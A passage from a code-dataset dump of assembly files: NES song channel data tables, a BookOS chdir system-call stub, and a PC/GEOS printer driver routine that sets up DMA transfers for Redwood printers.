.dw .ref459
.db $ff, $0a
.dw .ref1203
.db $8c, $33, $ad
.db $ff, $0d
.dw .ref559
.ref1249:
.db $89, $f9, $81, $62, $36, $3a, $9b, $f9, $83
.ref1258:
.db $3b, $89, $f9, $81, $62, $3a, $3a, $89, $f9, $81, $62, $3b, $00, $62, $3b, $8d, $35, $ad, $f9, $83, $38, $bf, $f9, $83
.db $38, $8f, $f9, $83, $36, $8f, $f9, $81, $62, $38, $35, $8f, $f9, $81, $62, $36, $36, $9b, $f9, $83, $33, $89, $f9, $81
.db $62, $36, $3a, $d1, $f9, $83, $00, $62, $3a, $9f, $33, $ad
.db $ff, $0d
.dw .ref559
.db $ff, $0d
.dw .ref1249
.db $3d, $89, $f9, $81, $62, $3b, $00, $62, $3b, $8d, $3f, $ad, $f9, $83, $41, $bf, $f9, $83, $41, $89, $f9, $83, $42, $89
.db $f9, $81, $62, $41, $44, $89, $f9, $81, $62, $42, $41, $89, $f9, $81, $62, $44, $00, $62, $44, $8d, $8a, $36, $89, $f9
.db $81, $62, $41
.db $ff, $0a
.dw .ref1032
.db $2a, $89, $f9, $81, $62, $31
.db $ff, $0a
.dw .ref459
.db $ff, $50
.dw .ref1092
.db $ff, $0a
.dw .ref1086
.db $2a, $89, $f9, $81, $62, $27
.db $ff, $0a
.dw .ref459
.db $ff, $11
.dw .ref1203
.db $ff, $3c
.dw .ref1117
.db $ff, $0a
.dw .ref1086
.db $2a, $89, $f9, $81, $62, $27
.db $ff, $0a
.dw .ref459
.db $ff, $0a
.dw .ref1203
.db $ff, $23
.dw .ref602
.db $35, $ad, $f9, $83, $36, $bf, $f9, $83, $36, $8b, $f9, $81, $38, $89, $f9, $81, $62, $36, $3a, $89, $f9, $81, $62, $38
.db $3b, $ad, $f9, $83, $3a, $89, $f9, $81, $62, $3b, $38, $89, $f9, $81, $62, $3a, $00, $62, $3a, $8d, $36, $ad, $f9, $83
.db $00, $62, $36, $9f, $38, $9b
.db $ff, $0b
.dw .ref424
.db $3b, $89, $f9, $81, $62, $3a, $3d, $ad, $f9, $83, $3b, $89, $f9, $81, $62, $3d, $3a, $89, $f9, $81, $62, $3b, $00, $62
.db $3b, $8d
.db $ff, $0a
.dw .ref1258
.db $38, $89, $f9, $81, $62, $3a, $3a, $bf, $f9, $83, $3c, $bf, $f9, $83, $3d, $89, $f9, $81, $62, $3c, $3d, $89, $f9, $83
.db $00, $62, $3d, $8d, $3e, $d1, $f9, $83, $3f, $89, $f9, $81, $62, $3e
.ref1550:
.db $3a, $89, $f9, $81, $62, $3f, $33, $89, $f9, $81, $62, $3a, $3d, $89, $f9, $81, $62, $33, $38, $89, $f9, $81, $62, $3d
.db $31, $89, $f9, $81, $62, $38, $2f, $9b, $f9, $83, $00, $62, $2f, $8d, $36, $89, $f9, $81, $62, $2f
.db $ff, $0f
.dw .ref1032
.db $ff, $0a
.dw .ref1032
.ref1600:
.db $33, $89, $f9, $81, $62, $31, $2f, $89, $f9, $81, $62, $33, $2f, $89, $f9, $83, $00, $62, $2f, $8d, $31, $89, $f9, $81
.db $62, $2f, $31, $89, $f9, $83, $00, $62, $31, $8d, $33, $89, $f9, $81, $62, $31, $33, $89, $f9, $83, $00, $62, $33, $8d
.db $35, $89, $f9, $81, $62, $33
.db $ff, $0c
.dw .ref914
.db $ff, $0f
.dw .ref377
.db $3f, $89, $f9, $81, $62, $31
.db $ff, $25
.dw .ref1550
.db $ff, $0f
.dw .ref1032
.db $ff, $0a
.dw .ref1032
.db $ff, $2e
.dw .ref1600
.db $ff, $0c
.dw .ref914
.db $ff, $0f
.dw .ref377
.db $2f, $9b, $f9, $83, $36, $89, $f9, $81, $62, $2f, $31, $9b, $f9, $83, $38, $9b, $f9, $83, $33, $9b, $f9, $83, $3a, $9b
.db $f9, $83, $41, $89, $f9, $81, $62, $3a, $42, $89, $f9, $81, $62, $41, $41, $89, $f9, $81, $62, $42, $3f, $89, $f9, $81
.db $62, $41, $3d, $89, $f9, $81, $62, $3f
.ref1740:
.db $3f, $89, $f9, $81, $62, $3d, $3f, $89, $f9, $83, $00, $62, $3f, $8d, $3d, $89, $f9, $81, $62, $3f, $3d, $89, $f9, $83
.db $00, $62, $3d, $8d
.db $ff, $0c
.dw .ref1740
.db $22, $89, $f9, $81, $62, $3f, $29, $89, $f9, $81, $62, $22, $2e, $89, $f9, $81, $62, $29, $35, $89, $f9, $81, $62, $2e
.db $3a, $ad, $f9, $83, $fd
.dw .song0ch1loop
.song0ch2:
.song0ch2loop:
.db $80
.ref1804:
.db $27
.ref1805:
.db $8b
.ref1806:
.db $00, $81, $27, $8b, $00, $81, $27, $8b, $00, $81
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $27, $8b, $00, $81, $27, $8b, $00, $81
.ref1830:
.db $25, $9d
.ref1832:
.db $00, $81, $22, $8b, $00, $81, $25, $8b, $00, $81, $29
.db $ff, $0b
.dw .ref1805
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0d
.dw .ref1830
.db $8b, $00, $81, $25, $f7, $00, $81, $25, $d3, $00, $81, $25, $8b
.db $ff, $0a
.dw .ref1832
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $27, $8b, $00, $81, $27, $8b
.db $ff, $0a
.dw .ref1832
.ref1907:
.db $27, $8b, $00, $81
.ref1911:
.db $2a
.ref1912:
.db $8b, $00, $81, $29
.ref1916:
.db $8b, $00, $81, $25, $8b, $00, $81, $27
.ref1924:
.db $8b, $00, $81, $23, $8b, $00, $81, $23, $8b, $00, $81, $23
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $8b, $00, $81, $23, $8b
.db $ff, $0a
.dw .ref1832
.db $ff, $14
.dw .ref1907
.ref1968:
.db $20, $8b, $00, $81, $20, $8b, $00, $81, $27, $8b, $00, $81, $2a, $8b, $00, $81
.db $ff, $10
.dw .ref1968
.ref1987:
.db $22
.ref1988:
.db $8b, $00, $81, $22, $8b, $00, $81, $29, $8b, $00, $81, $2c, $8b, $00, $81
.db $ff, $10
.dw .ref1987
.db $ff, $10
.dw .ref1968
.db $ff, $10
.dw .ref1987
.ref2012:
.db $27, $8b, $00, $81, $27, $8b, $00, $81, $25, $8b, $00, $81, $25
.db $ff, $0b
.dw .ref1924
.db $22, $8b, $00, $81, $22, $8b, $00, $81
.db $ff, $10
.dw .ref1968
.db $ff, $10
.dw .ref1968
.db $ff, $10
.dw .ref1987
.db $ff, $10
.dw .ref1987
.db $23
.ref2049:
.db $8b, $00, $81, $23, $8b, $00, $81, $2a, $8b, $00, $81, $2f
.db $ff, $0c
.dw .ref2049
.db $8b, $00, $81, $25, $8b, $00, $93, $25, $8b, $00, $81, $25, $9d, $00, $81, $25, $8b, $00, $81, $25, $9d
.db $ff, $0a
.dw .ref1806
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $22
.db $ff, $0b
.dw .ref1916
.db $ff, $19
.dw .ref1911
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $ff, $0c
.dw .ref1924
.db $8b, $00, $81, $23, $8b
.db $ff, $0a
.dw .ref1832
.db $ff, $14
.dw .ref1907
.ref2151:
.db $25
.ref2152:
.db $8b, $00, $81, $25, $8b, $00, $81, $25, $8b, $00, $81
.db $ff, $0c
.dw .ref2151
.db $25, $8b, $00, $81, $25
.ref2171:
.db $8b, $00, $81, $26, $8b, $00, $81, $26, $8b, $00, $81, $26
.db $ff, $0c
.dw .ref2171
.db $ff, $0b
.dw .ref2171
.db $ff, $0c
.dw .ref1804
.db $ff, $0c
.dw .ref1804
.db $27, $8b, $00, $81, $27
.ref2200:
.db $8b, $00, $81, $28, $8b, $00, $81, $28, $8b, $00, $81, $28
.db $ff, $0c
.dw .ref2200
.db $ff, $0b
.dw .ref2200
.ref2218:
.db $29, $8b, $00, $81, $29, $8b, $00, $81, $29, $8b, $00, $81
.db $ff, $0c
.dw .ref2218
.db $29
.db $ff, $0b
.dw .ref1912
.db $ff, $0c
.dw .ref2151
.db $ff, $0c
.dw .ref2151
.db $25
.ref2244:
.db $8b, $00, $81, $22, $8b, $00, $81, $22, $8b, $00, $81, $22
.db $ff, $0c
.dw .ref2244
.db $ff, $0c
.dw .ref2244
.db $ff, $0b
.dw .ref1988
.db $2e, $9d, $00, $81, $2e, $8b, $00, $81, $29, $8b, $00, $81, $22
.db $ff, $0b
.dw .ref1805
.db $27
.db $ff, $0b
.dw .ref2152
.ref2285:
.db $25, $8b, $00, $81, $23, $af, $00, $81, $23, $8b, $00, $81, $23, $9d, $00, $81, $23, $8b, $00, $81, $23, $9d, $00, $81
.db $23
.ref2310:
.db $8b, $00, $81, $20, $8b, $00, $81, $20, $8b, $00, $81, $20
.db $ff, $0c
.dw .ref2244
.db $ff, $0c
.dw .ref1924
.db $ff, $0b
.dw .ref2152
.db $25
.db $ff, $0b
.dw .ref1924
.db $25
.db $ff, $0b
.dw .ref1916
.db $ff, $0d
.dw .ref2012
.db $8b, $00, $81
.db $ff, $25
.dw .ref2285
.db $ff, $0c
.dw .ref2244
.db $ff, $0c
.dw .ref1924
.db $ff, $0b
.dw .ref2152
.db $25
.db $ff, $0b
.dw .ref1924
.db $25, $8b, $00, $81, $25
.db $ff, $0c
.dw .ref2310
.db $8b, $00, $81, $20
.db $ff, $0c
.dw .ref2244
.db $8b, $00, $81, $22
.db $ff, $0c
.dw .ref1924
.db $8b, $00, $81, $23
.db $ff, $0b
.dw .ref2152
.db $25
.db $ff, $0b
.dw .ref1916
.db $27, $8b, $00, $93, $25, $8b, $00, $81, $25, $8b, $00, $93, $27, $8b, $00, $81, $27, $8b, $00, $93, $22
.db $ff, $0c
.dw .ref2244
.db $8b, $00, $81, $22, $8b, $00, $81, $24, $8b, $00, $81, $26, $8b, $00, $81, $fd
.dw .song0ch2loop
.song0ch3:
.song0ch3loop:
.ref2437:
.db $84, $2d, $a1, $86
.ref2441:
.db $27, $a1, $84, $2d, $a1, $86, $27, $a1, $84, $2d, $a1, $86, $27, $a1
.db $ff, $0c
.dw .ref2437
.db $ff, $0a
.dw .ref2437
.db $2d, $a1, $2d, $a1, $2d, $a1, $2d, $a1, $2d, $a1, $86, $27, $8f, $84, $2d, $8f, $86, $27, $81, $27, $8b, $84
.ref2483:
.db $2d
.ref2484:
.db $8f, $82, $21, $8f, $8e, $2d, $8f, $86, $27, $8f, $8e, $2d, $8f, $82, $21, $8f, $21, $8f, $86, $27, $8f, $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.ref2513:
.db $8e, $2d, $8f, $82, $21, $8f, $86, $27, $8f, $27, $8f, $82, $21, $8f, $86, $27, $8f, $27, $8f, $82, $21, $8f, $86, $27
.db $ff, $0f
.dw .ref2484
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $ff, $11
.dw .ref2513
.db $ff, $0f
.dw .ref2484
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e, $2d, $8f, $86, $27, $8f, $82, $21, $8f
.ref2587:
.db $21, $8f, $86, $27, $8f, $82, $21, $8f, $86, $27, $8f, $27, $8f, $27
.db $ff, $0f
.dw .ref2484
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $ff, $11
.dw .ref2513
.db $ff, $0f
.dw .ref2484
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $ff, $11
.dw .ref2513
.db $ff, $0f
.dw .ref2484
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e
.db $ff, $10
.dw .ref2483
.db $8e, $2d, $8f, $86, $27, $8f, $27, $8f, $82
.db $ff, $0b
.dw .ref2587
.db $8f, $27, $8f
.ref2671:
.db $27, $a1, $27, $8f, $27, $a1, $27, $8f, $27, $a1, $82, $21, $8f, $86, $27, $8f, $82
.db $ff, $0a
.dw .ref2587
.ref2691:
.db $82, $21, $8f, $21, $8f, $84, $2d, $8f, $82, $21, $8f, $21, $8f, $84, $2d, $8f
.db $ff, $0c
.dw .ref2691
.db $86, $27, $a1
.db $ff, $0a
.dw .ref2671
.db $27, $8f, $27, $a1, $82, $21, $8f, $86, $27, $8f, $82
.db $ff, $0a
.dw .ref2587
.db $ff, $0c
.dw .ref2691
.db $ff, $0c
.dw .ref2691
.db $86, $27, $a1
.db $ff, $0a
.dw .ref2441
.db $84, $2d, $a1, $86, $27, $a1, $84, $2d, $a1, $86
.db $ff, $0a
.dw .ref2671
.db $27, $8f, $27, $a1, $27, $8f, $27, $8f, $27, $8f, $27, $8f, $27, $8f, $82, $21, $8f, $21, $8f, $fd
.dw .song0ch3loop
.song0ch4:
.song0ch4loop:
.ref2778:
.db $f7, $f7, $af, $f7, $f7, $af, $f7, $f7, $af, $f7, $f7, $af
.db $ff, $0c
.dw .ref2778
.db $ff, $0c
.dw .ref2778
.db $ff, $0c
.dw .ref2778
.db $ff, $0c
.dw .ref2778
.db $ff, $0c
.dw .ref2778
.db $f7, $f7, $af, $fd
.dw .song0ch4loop
|
src/lib/chdir.asm | zys1310992814/BookOSv0.2 | 3 | 96883 | <reponame>zys1310992814/BookOSv0.2
[bits 32]
[section .text]
INT_VECTOR_SYS_CALL equ 0x80
_NR_CHDIR EQU 23
global chdir
chdir:
mov eax, _NR_CHDIR
mov ebx, [esp + 4]
int INT_VECTOR_SYS_CALL
ret |
Driver/Printer/PrintCom/Stream/DMA/dmaDataOutRedwood.asm | steakknife/pcgeos | 504 | 15702 | <gh_stars>100-1000
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1993 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Printer Drivers
FILE: dmaDataOutRedwood.asm
AUTHOR: <NAME>
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 4/93 Initial version
DESCRIPTION:
contains the routines to write DMA Data out in
the Redwood devices
$Id: dmaDataOutRedwood.asm,v 1.1 97/04/18 11:49:30 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrintDMADataOut
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Initialize the DMA controller for printing
CALLED BY: INTERNAL
PASS: es - PState segment
ds:si - data
cx - length in bytes.
RETURN: carry set on error.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
DMA some data out using channel 1 in demand transfer mode.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Dave 04/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrintDMADataOut proc near
uses ax,bx,cx,dx,di
.enter
dec cx ;cx = number of bytes - 1
push cx
mov bx,ds
mov cl,4 ; number of shifting: 4 times.
rol bx,cl ; ds = sssszzzzxxxxyyyy
pop cx ; --> bx = zzzzxxxxyyyyssss
mov ah,bl ; get upper 4 bit of ds, page address.
and bl,11110000b
add bx,si ; add offset
; bx = start offset of the real address.
jnc pageAddOK ; if no carry, page address OK
inc ah ; adjust page address.
pageAddOK:
and ah,00001111b ; AH = page address of the real address.
mov dx,bx
add dx,cx ; DX = end offset of the real address.
cmp dx,bx ; Is the end offset correct?
jb error ; no, it is illegal, exit.
INT_OFF ;no interrupts, please.
;first we disable -DREQs while programming the chip.
mov dx,ax ;save ax
mov al,REDWOOD_DMA_SET_MASK
out PC_SINGLE_REQUEST_MASK,al ; set request mask flag on DMA.
call PrintDMADataOutWaitLoop
mov ax,dx ;recover ax
;reset the byte order flip flop on the chip
out PC_CLEAR_FLIP_FLOP,al ; clear byte flip-flop.
call PrintDMADataOutWaitLoop
;set demand transfer, increment, read, and no auto-init.
mov al,REDWOOD_DMA_MODE ;assume forward
cmp es:[PS_redwoodSpecific].RS_direction,PRINT_DIRECTION_REVERSE
jne modeForDMAOK
mov al,REDWOOD_DMA_DEC_MODE ; ok load the backwards direction.
modeForDMAOK:
out PC_CHANNEL_MODE,al ; set mode register on DMA.
call PrintDMADataOutWaitLoop
mov al,ah
out CHANNEL_ONE_PAGE,al ; set page register for DMA.
call PrintDMADataOutWaitLoop
cmp es:[PS_redwoodSpecific].RS_direction,PRINT_DIRECTION_REVERSE
jne offsetOK
add bx,cx ; add the count to get to end.
offsetOK:
mov al,bl
out CHANNEL_ONE_OFFSET,al ; set low byte of starting address
call PrintDMADataOutWaitLoop
mov al,bh
out CHANNEL_ONE_OFFSET,al ; set high byte of starting address
call PrintDMADataOutWaitLoop
mov al,cl
out CHANNEL_ONE_COUNT,al ; set low byte of transmiting count
call PrintDMADataOutWaitLoop
mov al,ch
out CHANNEL_ONE_COUNT,al ; set high byte of transmiting count
call PrintDMADataOutWaitLoop
;now we enable -DREQs again
mov al,REDWOOD_DMA_CHANNEL_NUMBER
out PC_SINGLE_REQUEST_MASK,al ; clear request mask flag on DMA.
call PrintDMADataOutWaitLoop
INT_ON ;let interrupts happen again.
clc
exit:
.leave
ret
error:
stc
jmp exit
PrintDMADataOut endp
PrintDMADataOutWaitLoop proc near
push cx
mov cx, 10
loophere:
nop
loop loophere
pop cx
ret
PrintDMADataOutWaitLoop endp
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.